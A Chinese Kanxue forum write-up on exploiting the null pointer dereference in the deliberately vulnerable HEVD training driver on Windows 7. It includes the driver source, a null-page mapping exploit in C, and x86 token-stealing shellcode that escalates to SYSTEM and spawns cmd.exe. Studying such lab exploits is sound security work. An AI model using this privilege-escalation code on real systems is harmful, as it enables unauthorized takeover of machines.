内核漏洞学习-HEVD-NullPointerDereference

资讯 作者:看雪学院 2022-01-11 22:44:46 阅读:424


本文为看雪论坛优秀文章
看雪论坛作者ID:pyikaaaa



1


概述


HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习。
 
Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备:

Windows 7 X86 sp1 虚拟机
使用VirtualKD和windbg双机调试
HEVD 3.0+KmdManager+DubugView


2


前置知识


指针的三种错误使用:

1、由指针指向的一块动态内存,在利用完后,没有释放内存,导致内存泄露

2、野指针(悬浮指针)的使用,在指针指向的内存空间使用完释放后,指针指向的内存空间已经归还给了操作系统,此时的指针成为野指针,在没有对野指针做处理的情况下,有可能对该指针再次利用导致指针引用错误而程序崩溃。

3、Null Pointer空指针的引用,对于空指针的错误引用往往是由于在引用之前没有对空指针做判断,就直接使用空指针,还有可能把空指针作为一个对象来使用,间接使用对象中的属性或是方法,而引起程序崩溃,空指针的错误使用常见于系统、服务、软件漏洞方面。

总结
free(p)后:p仍然指向那块地址,但是地址被释放,回归给系统,指针仍然可以使用,可以利用池喷射,去多次申请内昆空间,撞这个指针p指向的地址,改写这个地址内容,在调用p,执行自己写入的代码。

p=NULL 后:p 不指向任何内存地址,通常指向000 0页地址,通过ntallocvirtualmemory 申请0页地址空间。在0页地址写代码。调用null指针,执行shellcode。

使用ntallocvirtualmemory 函数申请内存:NtAllocateVirtualMemory function (ntifs.h) - Windows drivers | Microsoft Docs



3


漏洞点分析


空指针漏洞

此类漏洞利用主要集中在两种方式上:
1、利用NULL指针。
2、利用零页内存分配可用内存空间
(1)分析漏洞点
UserValue = *(PULONG)UserBuffer;从用户模式获取value的值,如果uservalue=magicvalue的值,向缓冲区赋值,并打印信息,反之则释放缓冲区,清空指针( NullPointerDereference = NULL;),之后,对于安全版本,对NullPointerDereference进行检查判断其是否被置空,非安全版本,未对NullPointerDereference进行检查判断,直接调用callback。
NTSTATUSTriggerNullPointerDereference(    _In_ PVOID UserBuffer){    ULONG UserValue = 0;    ULONG MagicValue = 0xBAD0B0B0;    NTSTATUS Status = STATUS_SUCCESS;    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;     PAGED_CODE();     __try    {        //        // Verify if the buffer resides in user mode        //         ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(UCHAR));         //        // Allocate Pool chunk        //         NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(            NonPagedPool,            sizeof(NULL_POINTER_DEREFERENCE),            (ULONG)POOL_TAG        );         if (!NullPointerDereference)        {            //            // Unable to allocate Pool chunk            //             DbgPrint("[-] Unable to allocate Pool chunk\n");             Status = STATUS_NO_MEMORY;            return Status;        }        else        {            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);        }         //        // Get the value from user mode        //         UserValue = *(PULONG)UserBuffer;         DbgPrint("[+] UserValue: 0x%p\n", UserValue);        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);         //        // Validate the magic value        //         if (UserValue == MagicValue)        {            NullPointerDereference->Value = UserValue;            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;             DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);        }        else        {            DbgPrint("[+] Freeing NullPointerDereference Object\n");            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);             //            // Free the allocated Pool chunk            //             ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);             //            // Set to NULL to avoid dangling pointer            //             NullPointerDereference = NULL;        } #ifdef SECURE        //        // Secure Note: This is secure because the developer is checking if        // 'NullPointerDereference' is not NULL before calling the callback function        //         if (NullPointerDereference)        {            NullPointerDereference->Callback();        }#else        DbgPrint("[+] Triggering Null Pointer Dereference\n");         //        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability        // because the developer is not validating if 'NullPointerDereference' is NULL        // before calling the callback function        //         NullPointerDereference->Callback();#endif    }    __except (EXCEPTION_EXECUTE_HANDLER)    {        Status = GetExceptionCode();        DbgPrint("[-] Exception Code: 0x%X\n", Status);    }     return Status;}


4


漏洞利用


HEVD_IOCTL_NULL_POINTER_DEREFERENCE控制码对应的派遣函数NullPointerDereferenceIoctlHandler case。

HEVD_IOCTL_NULL_POINTER_DEREFERENCE:DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");Status = NullPointerDereferenceIoctlHandler(Irp, IrpSp);DbgPrint("****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******\n");break;

NullPointerDereferenceIoctlHandler函数调用TriggerNullPointerDereference触发漏洞。
NTSTATUSNullPointerDereferenceIoctlHandler(    _In_ PIRP Irp,    _In_ PIO_STACK_LOCATION IrpSp){    PVOID UserBuffer = NULL;    NTSTATUS Status = STATUS_UNSUCCESSFUL;     UNREFERENCED_PARAMETER(Irp);    PAGED_CODE();     UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;     if (UserBuffer)    {        Status = TriggerNullPointerDereference(UserBuffer);    }     return Status;}

(1)测试
#include<stdio.h>#include<Windows.h>HANDLE hDevice = NULL; #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)int main(){     hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL        );    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)    {        printf("[-]failed to get device handle !");        return FALSE;     }    printf("[+]success to get device  handle");     if (hDevice) {         DWORD bReturn = 0;        char buf[4] = { 0 };        *(PDWORD32)(buf) = 0x12345678;         DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &bReturn, NULL);    }   }

当我们传入值与MagicValue值不匹配时,则会触发漏洞。

因为uservalue=0xBAD0B0B0,所以打印出信息。

 
(2)漏洞利用

官方给出的方法也是利用NtAllocateVirtualMemory函数,在0页申请内存。
 
该函数在指定进程的虚拟空间中申请一块内存,该块内存默认将以64kb大小对齐,所以SIZE_T RegionSize = 0x1000;
BOOL MapNullPage() {    HMODULE hNtdll;    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host                                           // page size address boundary -> 0x2000PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host                                       // page size address boundary -> 0x00000000NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hNtdll = GetModuleHandle("ntdll.dll"); // Grab the address of NtAllocateVirtualMemoryNtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) {    DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());    exit(EXIT_FAILURE);} // Allocate the Virtual memoryNtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,                                   &BaseAddress,                                   0,                                   &RegionSize,                                   MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,                                   PAGE_EXECUTE_READWRITE); if (NtStatus != STATUS_SUCCESS) {    DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);    exit(EXIT_FAILURE);}else {    DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);    DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);} FreeLibrary(hNtdll); return TRUE;

申请成功后,将shellcode地址放入偏移四字节处,因为CallBack成员在结构体的0x4字节处,使传入值与MagicValue值不匹配,触发漏洞。
ULONG MagicValue = 0xBAADF00D;     PVOID EopPayload = &TokenStealingPayloadWin7Generic;__try {        // Get the device handle        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);         hFile = GetDeviceHandle(FileName);         if (hFile == INVALID_HANDLE_VALUE) {            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());            exit(EXIT_FAILURE);        }        else {            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);        }         DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");         DEBUG_INFO("\t\t[+] Mapping Null Page\n");         if (!MapNullPage()) {            DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());            exit(EXIT_FAILURE);        }         DEBUG_INFO("\t\t[+] Preparing Null Page Memory Layout\n");         NullPointerPlus4 = (PVOID)((ULONG)NullPageBaseAddress + 0x4);         // Now set the function pointer        *(PULONG)NullPointerPlus4 = (ULONG)EopPayload;         DEBUG_INFO("\t\t\t[+] NullPage+0x4 Value: 0x%p\n", *(PULONG)NullPointerPlus4);        DEBUG_INFO("\t\t\t[+] NullPage+0x4 Address: 0x%p\n", NullPointerPlus4);         DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);         DEBUG_MESSAGE("\t[+] Triggering Null Pointer Dereference\n");         OutputDebugString("****************Kernel Mode****************\n");         DeviceIoControl(hFile,                        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,                        (LPVOID)&MagicValue,                        0,                        NULL,                        0,                        &BytesReturned,                        NULL);         OutputDebugString("****************Kernel Mode****************\n");    }    __except (EXCEPTION_EXECUTE_HANDLER) {        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());        exit(EXIT_FAILURE);    }     return EXIT_SUCCESS;}

exp,可供参考
#include<stdio.h>#include<Windows.h>#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)   typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory1)(    IN HANDLE ProcessHandle,    IN OUT PVOID* BaseAddress,    IN ULONG ZeroBits,    IN OUT PULONG RegionSize,    IN ULONG AllocationType,    IN ULONG Protect);NtAllocateVirtualMemory1 NtAllocateVirtualMemory = NULL;  HANDLE hDevice = NULL;  static VOID payload(){    _asm    {        //.....    }} int main(){    //获得device  handle    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",        GENERIC_READ | GENERIC_WRITE,        NULL,        NULL,        OPEN_EXISTING,        NULL,        NULL);     printf("[+]Start to get handle \n");    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)    {        printf("[+]Failed to get HANDLE!!!\n");        system("pause");        return 0;    }    printf("[+]Success to get handle\n");     DWORD aReturn = 0;    char buf[4] = { 0 };    *(PDWORD32)(buf) = 0x123456789;//触发漏洞    //申请0页内存     (FARPROC*)NtAllocateVirtualMemory = GetProcAddress(        GetModuleHandleW(L"ntdll"),        "NtAllocateVirtualMemory");    if (NtAllocateVirtualMemory == NULL)    {        printf("[-]Failed to get NtAllocateVirtualMemory address \n");        system("pause");        return 0;    }    else    printf("[+]success to get  NtAllocateVirtualMemory address \n");    PVOID basedaress = (PVOID)1;    SIZE_T allockSize = 0x1000;    NTSTATUS status= NtAllocateVirtualMemory(        INVALID_HANDLE_VALUE,        &basedaress,        0,        &allockSize,        MEM_COMMIT | MEM_RESERVE,        PAGE_READWRITE);    if(status<0)     {        printf("[-]NtAllocateVirtualMemory write failed\n");        system("pause");        return 0;    }     printf("[+]NtAllocateVirtualMemory write success \n");    *(DWORD*)(0x4) = (DWORD)&payload;       //调用TriggerNullPointerDereference函数    DeviceIoControl(hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, buf, 4, NULL, 0, &aReturn, NULL);    //提权启动cmd     printf("[+]Start to Create cmd...\n");    STARTUPINFO si = { sizeof(si) };    PROCESS_INFORMATION pi = { 0 };    si.dwFlags = STARTF_USESHOWWINDOW;    si.wShowWindow = SW_SHOW;    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);     system("pause");     return 0;}

payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。
 
相关内核结构体:在内核模式下,fs:[0]指向KPCR结构体。
_KPCR+0x120 PrcbData         : _KPRCB_KPRCB+0x004 CurrentThread    : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体_KTHREAD+0x040 ApcState         : _KAPC_STATE_KAPC_STATE+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体_EPROCESS   +0x0b4 UniqueProcessId  : Ptr32 Void,当前进程ID,系统进程ID=0x04   +0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程   +0x0f8 Token            : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限

payload:注意堆栈平衡问题。
 __asm {        pushad                               ; Save registers state         ; Start of Token Stealing Stub        xor eax, eax                         ; Set ZERO        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread                                             ; _KTHREAD is located at FS:[0x124]         mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process         mov ecx, eax                         ; Copy current process _EPROCESS structure         mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4         SearchSystemPID:            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink            sub eax, FLINK_OFFSET            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId            jne SearchSystemPID         mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token                                             ; with SYSTEM process nt!_EPROCESS.Token        ; End of Token Stealing Stub         popad                                ; Restore registers state    }}

运行exp提权成功:
 
 
流程总结:
  • 申请0页内存

  • 将payload放入内存任意位置

  • 并在0x4地址放入payload地址

  • 调用TriggerNullPointerDereference函数

  • 提权启动cmd




E N D



 


看雪ID:pyikaaaa

https://bbs.pediy.com/user-home-921642.htm

*本文由看雪论坛 pyikaaaa 原创,转载请注明来自看雪社区





# 往期推荐

1.一个数据加密恶意样本分析

2.windows64位分页机制分析-隐藏可执行内存方法

3.分析屏保区TOP1的一款MacOS软件

4.某视频app的学习记录

5.Chrom V8分析入门——Google CTF2018 justintime分析

6.内核学习-异常处理






点击“阅读原文”了解更多



在线申请SSL证书行业最低 =>立即申请

[广告]赞助链接:

关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

#
公众号 关注KnowSafe微信公众号
随时掌握互联网精彩
赞助链接